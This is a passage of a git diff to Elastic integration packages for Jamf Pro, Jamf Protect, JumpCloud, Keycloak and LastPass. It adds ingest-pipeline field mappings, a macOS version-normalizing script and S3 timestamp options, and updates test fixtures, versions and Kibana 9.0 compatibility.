a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-jss-startup.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-jss-startup.json-expected.json index f686e9413fb..ecd70c2e6bb 100644 --- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-jss-startup.json-expected.json +++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-jss-startup.json-expected.json @@ -5,6 +5,7 @@ "version": "8.11.0" }, "event": { + "action": "JSSStartup", "kind": "event" }, "jamf_pro": { @@ -26,4 +27,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-check-in.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-check-in.json-expected.json index 6cddd7da2fa..797449ca0a6 100644 --- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-check-in.json-expected.json +++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-check-in.json-expected.json @@ -5,6 +5,7 @@ "version": "8.11.0" }, "event": { + "action": "MobileDeviceCheckIn", "kind": "event" }, "host": { @@ -71,4 +72,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-command-completed.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-command-completed.json-expected.json index 556d3474cf2..51c6971033d 100644 --- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-command-completed.json-expected.json +++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-command-completed.json-expected.json @@ -5,6 +5,7 @@ "version": "8.11.0" }, "event": { + "action": "MobileDeviceCommandCompleted", "kind": "event" }, "host": { @@ -71,4 +72,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-enrolled.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-enrolled.json-expected.json index 323597e4107..8b26928ea57 100644 --- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-enrolled.json-expected.json +++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-enrolled.json-expected.json @@ -5,6 +5,7 @@ "version": "8.11.0" }, "event": { + "action": "MobileDeviceEnrolled", "kind": "event" }, "host": { @@ -71,4 +72,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-inventory-completed.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-inventory-completed.json-expected.json index 0a6cf9fcdf0..e44fec2e188 100644 --- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-inventory-completed.json-expected.json +++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-inventory-completed.json-expected.json @@ -5,6 +5,7 @@ "version": "8.11.0" }, "event": { + "action": "MobileDeviceInventoryCompleted", "kind": "event" }, "host": { @@ -71,4 +72,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-push-sent.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-push-sent.json-expected.json index 316a1398542..502d8df94e8 100644 --- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-push-sent.json-expected.json +++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-push-sent.json-expected.json @@ -5,6 +5,7 @@ "version": "8.11.0" }, "event": { + "action": "MobileDevicePushSent", "kind": "event" }, "host": { @@ -71,4 +72,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-unenrolled.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-unenrolled.json-expected.json index 3a738b9d9c7..632ac527ac1 100644 --- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-unenrolled.json-expected.json +++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-unenrolled.json-expected.json @@ -5,6 +5,7 @@ "version": "8.11.0" }, "event": { + "action": "MobileDeviceUnEnrolled", "kind": "event" }, "host": { @@ -71,4 +72,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-patch-software-title-updated.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-patch-software-title-updated.json-expected.json index 99f25d32f14..ffccda69771 100644 --- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-patch-software-title-updated.json-expected.json +++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-patch-software-title-updated.json-expected.json @@ -5,6 +5,7 @@ "version": "8.11.0" }, "event": { + "action": "PatchSoftwareTitleUpdated", "kind": "event" }, "jamf_pro": { @@ -26,4 +27,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-push-sent.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-push-sent.json-expected.json index 189e9409a3b..0e0d8ec7486 100644 --- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-push-sent.json-expected.json +++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-push-sent.json-expected.json @@ -5,6 +5,7 @@ "version": "8.11.0" }, "event": { + "action": "PushSent", "kind": "event" }, "jamf_pro": { @@ -23,4 +24,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-rest-api-operation.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-rest-api-operation.json-expected.json index fcd64110fb7..758448095af 100644 --- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-rest-api-operation.json-expected.json +++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-rest-api-operation.json-expected.json @@ -5,6 +5,7 @@ "version": "8.11.0" }, "event": { + "action": "RestAPIOperation", "kind": "event" }, "jamf_pro": { @@ -27,4 +28,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-scep-challenge.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-scep-challenge.json-expected.json index 97bbad5a7c4..62bafe8531f 100644 --- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-scep-challenge.json-expected.json +++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-scep-challenge.json-expected.json @@ -5,6 +5,7 @@ "version": "8.11.0" }, "event": { + "action": "SCEPChallenge", "kind": "event" }, "jamf_pro": { @@ -55,4 +56,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-smart-group-computer-membership-change.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-smart-group-computer-membership-change.json-expected.json index 10475802f54..c80ec9d6e0b 100644 --- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-smart-group-computer-membership-change.json-expected.json +++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-smart-group-computer-membership-change.json-expected.json @@ -5,6 +5,7 @@ "version": "8.11.0" }, "event": { + "action": "SmartGroupComputerMembershipChange", "kind": "event" }, "jamf_pro": { @@ -29,4 +30,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-smart-group-mobile-device-membership-change.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-smart-group-mobile-device-membership-change.json-expected.json index ddf7efe8a25..7eea67b204f 100644 --- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-smart-group-mobile-device-membership-change.json-expected.json +++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-smart-group-mobile-device-membership-change.json-expected.json @@ -5,6 +5,7 @@ "version": "8.11.0" }, "event": { + "action": "SmartGroupMobileDeviceMembershipChange", "kind": "event" }, "jamf_pro": { @@ -29,4 +30,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-smart-group-user-membership-change.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-smart-group-user-membership-change.json-expected.json index 0b0d56de14c..1aaa6539c45 100644 --- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-smart-group-user-membership-change.json-expected.json +++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-smart-group-user-membership-change.json-expected.json @@ -5,6 +5,7 @@ "version": "8.11.0" }, "event": { + "action": "SmartGroupUserMembershipChange", "kind": "event" }, "jamf_pro": { @@ -26,4 +27,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/jamf_pro/data_stream/events/elasticsearch/ingest_pipeline/default.yml b/packages/jamf_pro/data_stream/events/elasticsearch/ingest_pipeline/default.yml index 8571d496da6..2b6e13f0a19 100644 --- a/packages/jamf_pro/data_stream/events/elasticsearch/ingest_pipeline/default.yml +++ b/packages/jamf_pro/data_stream/events/elasticsearch/ingest_pipeline/default.yml @@ -137,6 +137,16 @@ processors: # ECS compat # ############## +- set: + field: host.name + copy_from: jamf_pro.events.event.computer.device_name + ignore_empty_value: true + +- set: + field: host.id + copy_from: jamf_pro.events.event.computer.udid + ignore_empty_value: true + - set: field: host.address copy_from: host.ip @@ -162,6 +172,19 @@ processors: field: event.kind value: event +- set: + field: event.action + copy_from: jamf_pro.events.webhook.webhook_event + ignore_empty_value: true + +- convert: + target_field: source.ip + type: ip + field: jamf_pro.events.event.computer.ip_address + if: ctx.jamf_pro?.events?.event?.computer?.ip_address != null && ctx.jamf_pro.events.event.computer.ip_address != '' + ignore_missing: true + ignore_failure: true + ################## # Error handling # ################## diff --git a/packages/jamf_pro/data_stream/inventory/_dev/test/pipeline/test-inventory-groups-memberships.json-expected.json b/packages/jamf_pro/data_stream/inventory/_dev/test/pipeline/test-inventory-groups-memberships.json-expected.json index 2d9a1c189d7..faebae60f2d 100644 --- a/packages/jamf_pro/data_stream/inventory/_dev/test/pipeline/test-inventory-groups-memberships.json-expected.json +++ b/packages/jamf_pro/data_stream/inventory/_dev/test/pipeline/test-inventory-groups-memberships.json-expected.json @@ -29,11 +29,6 @@ "id": "3", "udid": "5982CE36-4526-580B-B4B9-ECC6782535BC" } - }, - "related": { - "user": [ - "" - ] } }, { @@ -65,11 +60,6 @@ "id": "4", "udid": "DBAEF5A6-82D5-5327-A480-A904F42F3F98" } - }, - "related": { - "user": [ - "" - ] } } ] diff --git a/packages/jamf_pro/data_stream/inventory/_dev/test/pipeline/test-inventory.json b/packages/jamf_pro/data_stream/inventory/_dev/test/pipeline/test-inventory.json index 9a9d81f3179..be78a4e431f 100644 --- a/packages/jamf_pro/data_stream/inventory/_dev/test/pipeline/test-inventory.json +++ b/packages/jamf_pro/data_stream/inventory/_dev/test/pipeline/test-inventory.json @@ -388,6 +388,70 @@ "purchasing": null, "udid": "21ED95A7-FF9D-52BD-A55B-36D54585083A" } + }, + { + "message": { + "applications": [ + { + "bundleId": "com.apple.freeform", + "externalVersionId": "0", + "macAppStore": false, + "name": "Freeform.app", + "path": "/System/Applications/Freeform.app", + "sizeMegabytes": 57, + "updateAvailable": false, + "version": "2.4" + } + ], + "operatingSystem": { + "activeDirectoryStatus": "Not Bound", + "build": "23H311", + "extensionAttributes": [], + "fileVault2Status": "NOT_ENCRYPTED", + "name": "macOS", + "rapidSecurityResponse": null, + "softwareUpdateDeviceId": "J314cAP", + "supplementalBuildVersion": "23H311", + "version": "14.7" + }, + "packageReceipts": null, + "plugins": null, + "printers": null, + "purchasing": null, + "udid": "21ED95A7-FF9D-52BD-A55B-36D54585083A" + } + }, + { + "message": { + "applications": [ + { + "bundleId": "com.apple.freeform", + "externalVersionId": "0", + "macAppStore": false, + "name": "Freeform.app", + "path": "/System/Applications/Freeform.app", + "sizeMegabytes": 57, + "updateAvailable": false, + "version": "2.4" + } + ], + "operatingSystem": { + "activeDirectoryStatus": "Not Bound", + "build": "23H311", + "extensionAttributes": [], + "fileVault2Status": "NOT_ENCRYPTED", + "name": "macOS", + "rapidSecurityResponse": null, + "softwareUpdateDeviceId": "J314cAP", + "supplementalBuildVersion": "23H311", + "version": "14" + }, + "packageReceipts": null, + "plugins": null, + "printers": null, + "purchasing": null, + "udid": "21ED95A7-FF9D-52BD-A55B-36D54585083A" + } } ] } \ No newline at end of file diff --git a/packages/jamf_pro/data_stream/inventory/_dev/test/pipeline/test-inventory.json-expected.json b/packages/jamf_pro/data_stream/inventory/_dev/test/pipeline/test-inventory.json-expected.json index 71bc1aa348b..784bd0778d9 100644 --- a/packages/jamf_pro/data_stream/inventory/_dev/test/pipeline/test-inventory.json-expected.json +++ b/packages/jamf_pro/data_stream/inventory/_dev/test/pipeline/test-inventory.json-expected.json @@ -67,11 +67,6 @@ ], "udid": "D6DD5611-B15A-5AA1-B498-52A4CB17D18D" } - }, - "related": { - "user": [ - "" - ] } }, { @@ -210,9 +205,6 @@ "related": { "ip": [ "89.160.20.156" - ], - "user": [ - "" ] } }, @@ -310,9 +302,6 @@ "related": { "ip": [ "89.160.20.156" - ], - "user": [ - "" ] } }, @@ -421,13 +410,87 @@ } }, "os": { + "full": "sonoma", "name": "macOS", "version": "14.7.2" + } + }, + { + "ecs": { + "version": "8.11.0" }, - "related": { - "user": [ - "" - ] + "event": { + "kind": "asset" + }, + "jamf_pro": { + "inventory": { + "applications": [ + { + "bundle_id": "com.apple.freeform", + "external_version_id": "0", + "mac_app_store": false, + "name": "Freeform.app", + "path": "/System/Applications/Freeform.app", + "size_megabytes": 57, + "update_available": false, + "version": "2.4" + } + ], + "operating_system": { + "active_directory_status": "Not Bound", + "build": "23H311", + "file_vault2status": "NOT_ENCRYPTED", + "name": "macOS", + "software_update_device_id": "J314cAP", + "supplemental_build_version": "23H311", + "version": "14.7.0" + }, + "udid": "21ED95A7-FF9D-52BD-A55B-36D54585083A" + } + }, + "os": { + "full": "sonoma", + "name": "macOS", + "version": "14.7.0" + } + }, + { + "ecs": { + "version": "8.11.0" + }, + "event": { + "kind": "asset" + }, + "jamf_pro": { + "inventory": { + "applications": [ + { + "bundle_id": "com.apple.freeform", + "external_version_id": "0", + "mac_app_store": false, + "name": "Freeform.app", + "path": "/System/Applications/Freeform.app", + "size_megabytes": 57, + "update_available": false, + "version": "2.4" + } + ], + "operating_system": { + "active_directory_status": "Not Bound", + "build": "23H311", + "file_vault2status": "NOT_ENCRYPTED", + "name": "macOS", + "software_update_device_id": "J314cAP", + "supplemental_build_version": "23H311", + "version": "14.0.0" + }, + "udid": "21ED95A7-FF9D-52BD-A55B-36D54585083A" + } + }, + "os": { + "full": "sonoma", + "name": "macOS", + "version": "14.0.0" } } ] diff --git a/packages/jamf_pro/data_stream/inventory/elasticsearch/ingest_pipeline/default.yml b/packages/jamf_pro/data_stream/inventory/elasticsearch/ingest_pipeline/default.yml index 5b623b54158..a6fefd0d25f 100644 --- a/packages/jamf_pro/data_stream/inventory/elasticsearch/ingest_pipeline/default.yml +++ b/packages/jamf_pro/data_stream/inventory/elasticsearch/ingest_pipeline/default.yml @@ -123,6 +123,79 @@ processors: field: os.name copy_from: jamf_pro.inventory.operating_system.name ignore_empty_value: true +- script: + tag: script_normalize_operating_system_version + lang: painless + if: ctx.jamf_pro?.inventory?.operating_system?.version != null && ctx.jamf_pro.inventory.operating_system.version != '' + source: |- + String normalize(String s) { + int n = 0; + for (int i = 0; i < s.length(); i++){ + char c = s.charAt(i); + if (c == (char)'.') { + n++; + continue; + } + if (c < (char)'0' || (char)'9' < c) { + // If we have non-numeric parts, bail. + return s; + } + } + if (n >= 2) { + return s; + } + if (n == 1) { + return s + ".0"; + } + return s + ".0.0"; + } + String full_name(String s) { + if (s.startsWith('15.')) { + return 'sequoia'; + } + if (s.startsWith('14.')) { + return 'sonoma'; + } + if (s.startsWith('13.')) { + return 'ventura'; + } + if (s.startsWith('12.')) { + return 'monterey'; + } + if (s.startsWith('11.')) { + return 'big sur'; + } + if (s.startsWith('10.15.')) { + return 'catalina'; + } + if (s.startsWith('10.14.')) { + return 'mojave'; + } + if (s.startsWith('10.13.')) { + return 'high sierra'; + } + if (s.startsWith('10.12.')) { + return 'sierra'; + } + if (s.startsWith('10.11.')) { + return 'el capitan'; + } + if (s.startsWith('10.10.')) { + return 'yosemite'; + } + if (s.startsWith('10.9.')) { + return 'mavericks'; + } + return ''; + } + ctx.jamf_pro.inventory.operating_system.version = normalize(ctx.jamf_pro.inventory.operating_system.version); + String name = full_name(ctx.jamf_pro.inventory.operating_system.version); + if (name != '') { + if (ctx.os == null) { + ctx.os = [:]; + } + ctx.os.full = name; + } - set: field: os.version copy_from: jamf_pro.inventory.operating_system.version @@ -146,6 +219,8 @@ processors: - append: field: related.user value: '{{{user.email}}}' + if: ctx.user?.email != null && ctx.user.email != "" + allow_duplicates: false - set: field: related.ip copy_from: host.ip @@ -163,10 +238,12 @@ processors: field: event.type value: user if: ctx.jamf_pro.inventory.user_and_location != null + allow_duplicates: false - append: field: event.type value: info if: ctx.jamf_pro.inventory.hardware != null + allow_duplicates: false ################## # Error handling # diff --git a/packages/jamf_pro/manifest.yml b/packages/jamf_pro/manifest.yml index 982087e7c2a..f0a44c85cd9 100644 --- a/packages/jamf_pro/manifest.yml +++ b/packages/jamf_pro/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.1.5 name: jamf_pro title: "Jamf Pro" -version: 0.2.6 +version: "0.5.0" source: license: "Elastic-2.0" description: "Collect logs and inventory data from Jamf Pro with Elastic Agent" @@ -11,7 +11,7 @@ categories: - custom conditions: kibana: - version: "^8.13.4" + version: "^8.13.4 || ^9.0.0" elastic: subscription: "basic" screenshots: diff --git a/packages/jamf_protect/data_stream/alerts/agent/stream/aws-s3.yml.hbs b/packages/jamf_protect/data_stream/alerts/agent/stream/aws-s3.yml.hbs index 664deb76a6b..62a01563a07 100644 --- a/packages/jamf_protect/data_stream/alerts/agent/stream/aws-s3.yml.hbs +++ b/packages/jamf_protect/data_stream/alerts/agent/stream/aws-s3.yml.hbs @@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }} bucket_list_interval: {{ bucket_list_interval }} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} + +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} + {{! AWS S3 bucket ARN options }} {{#unless jamf_protect_bucket_name}} {{#unless global_bucket_name}} diff --git a/packages/jamf_protect/data_stream/alerts/manifest.yml b/packages/jamf_protect/data_stream/alerts/manifest.yml index 3f6a18f7bb6..bb81e9d4561 100644 --- a/packages/jamf_protect/data_stream/alerts/manifest.yml +++ b/packages/jamf_protect/data_stream/alerts/manifest.yml @@ -98,6 +98,20 @@ streams: show_user: true default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: '[SQS] Visibility Timeout' diff --git a/packages/jamf_protect/data_stream/telemetry/agent/stream/aws-s3.yml.hbs b/packages/jamf_protect/data_stream/telemetry/agent/stream/aws-s3.yml.hbs index 95ca775c7af..1a5aba4ccab 100644 --- a/packages/jamf_protect/data_stream/telemetry/agent/stream/aws-s3.yml.hbs +++ b/packages/jamf_protect/data_stream/telemetry/agent/stream/aws-s3.yml.hbs @@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }} bucket_list_interval: {{ bucket_list_interval }} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} + +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} + {{! AWS S3 bucket ARN options }} {{#unless jamf_protect_bucket_name}} {{#unless global_bucket_name}} diff --git a/packages/jamf_protect/data_stream/telemetry/manifest.yml b/packages/jamf_protect/data_stream/telemetry/manifest.yml index a64e15eeba0..01b0c73068a 100644 --- a/packages/jamf_protect/data_stream/telemetry/manifest.yml +++ b/packages/jamf_protect/data_stream/telemetry/manifest.yml @@ -98,6 +98,20 @@ streams: show_user: true default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: '[SQS] Visibility Timeout' diff --git a/packages/jamf_protect/data_stream/telemetry_legacy/agent/stream/aws-s3.yml.hbs b/packages/jamf_protect/data_stream/telemetry_legacy/agent/stream/aws-s3.yml.hbs index 10fa94ba174..dfcce63ce61 100644 --- a/packages/jamf_protect/data_stream/telemetry_legacy/agent/stream/aws-s3.yml.hbs +++ b/packages/jamf_protect/data_stream/telemetry_legacy/agent/stream/aws-s3.yml.hbs @@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }} bucket_list_interval: {{ bucket_list_interval }} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} + +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} + {{! AWS S3 bucket ARN options }} {{#unless jamf_protect_bucket_name}} {{#unless global_bucket_name}} diff --git a/packages/jamf_protect/data_stream/telemetry_legacy/manifest.yml b/packages/jamf_protect/data_stream/telemetry_legacy/manifest.yml index c9448ea7d1e..f2b2db1307a 100644 --- a/packages/jamf_protect/data_stream/telemetry_legacy/manifest.yml +++ b/packages/jamf_protect/data_stream/telemetry_legacy/manifest.yml @@ -98,6 +98,20 @@ streams: show_user: true default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: '[SQS] Visibility Timeout' diff --git a/packages/jamf_protect/data_stream/web_threat_events/agent/stream/aws-s3.yml.hbs b/packages/jamf_protect/data_stream/web_threat_events/agent/stream/aws-s3.yml.hbs index 52878e551e3..143f8e52964 100644 --- a/packages/jamf_protect/data_stream/web_threat_events/agent/stream/aws-s3.yml.hbs +++ b/packages/jamf_protect/data_stream/web_threat_events/agent/stream/aws-s3.yml.hbs @@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }} bucket_list_interval: {{ bucket_list_interval }} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} + +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} + {{! AWS S3 bucket ARN options }} {{#unless jamf_protect_bucket_name}} {{#unless global_bucket_name}} diff --git a/packages/jamf_protect/data_stream/web_threat_events/manifest.yml b/packages/jamf_protect/data_stream/web_threat_events/manifest.yml index df37b36aa51..140a61a43b4 100644 --- a/packages/jamf_protect/data_stream/web_threat_events/manifest.yml +++ b/packages/jamf_protect/data_stream/web_threat_events/manifest.yml @@ -107,6 +107,20 @@ streams: show_user: true default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: '[SQS] Visibility Timeout' diff --git a/packages/jamf_protect/data_stream/web_traffic_events/agent/stream/aws-s3.yml.hbs b/packages/jamf_protect/data_stream/web_traffic_events/agent/stream/aws-s3.yml.hbs index 921d634105e..5bef24019cb 100644 --- a/packages/jamf_protect/data_stream/web_traffic_events/agent/stream/aws-s3.yml.hbs +++ b/packages/jamf_protect/data_stream/web_traffic_events/agent/stream/aws-s3.yml.hbs @@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }} bucket_list_interval: {{ bucket_list_interval }} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} + +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} + {{! AWS S3 bucket ARN options }} {{#unless jamf_protect_bucket_name}} {{#unless global_bucket_name}} diff --git a/packages/jamf_protect/data_stream/web_traffic_events/manifest.yml b/packages/jamf_protect/data_stream/web_traffic_events/manifest.yml index 06505547bd6..b3ed2334e6c 100644 --- a/packages/jamf_protect/data_stream/web_traffic_events/manifest.yml +++ b/packages/jamf_protect/data_stream/web_traffic_events/manifest.yml @@ -107,6 +107,20 @@ streams: show_user: true default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: '[SQS] Visibility Timeout' diff --git a/packages/jumpcloud/changelog.yml b/packages/jumpcloud/changelog.yml index 38ffb758559..5ee495450c3 100644 --- a/packages/jumpcloud/changelog.yml +++ b/packages/jumpcloud/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.15.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.14.1" changes: - description: Updated SSL description to be uniform and to include links to documentation. diff --git a/packages/jumpcloud/manifest.yml b/packages/jumpcloud/manifest.yml index 72c34215712..84c1fb7eb66 100644 --- a/packages/jumpcloud/manifest.yml +++ b/packages/jumpcloud/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.2" name: jumpcloud title: "JumpCloud" -version: "1.14.1" +version: "1.15.0" description: "Collect logs from JumpCloud Directory as a Service" type: integration categories: @@ -9,7 +9,7 @@ categories: - security conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" elastic: subscription: "basic" screenshots: diff --git a/packages/keycloak/changelog.yml b/packages/keycloak/changelog.yml index 71869963c74..378613d69dd 100644 --- a/packages/keycloak/changelog.yml +++ b/packages/keycloak/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.26.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.25.0" changes: - description: Do not remove `event.original` in main ingest pipeline. diff --git a/packages/keycloak/manifest.yml b/packages/keycloak/manifest.yml index b7940ccb3f5..e31791cfb15 100644 --- a/packages/keycloak/manifest.yml +++ b/packages/keycloak/manifest.yml @@ -1,13 +1,13 @@ name: keycloak title: Keycloak -version: "1.25.0" +version: "1.26.0" description: Collect logs from Keycloak with Elastic Agent. type: integration format_version: "3.0.3" categories: [security, iam] conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" icons: - src: /img/keycloak-logo.svg title: Keycloak diff --git a/packages/lastpass/changelog.yml b/packages/lastpass/changelog.yml index 1408b2c6e8b..c835d8080d9 100644 --- a/packages/lastpass/changelog.yml +++ b/packages/lastpass/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.20.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.19.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/lastpass/manifest.yml b/packages/lastpass/manifest.yml index 15ffeab4de3..784e0e7ddaa 100644 --- a/packages/lastpass/manifest.yml +++ b/packages/lastpass/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.2" name: lastpass title: LastPass -version: "1.19.1" +version: "1.20.0" description: Collect logs from LastPass with Elastic Agent. type: integration categories: @@ 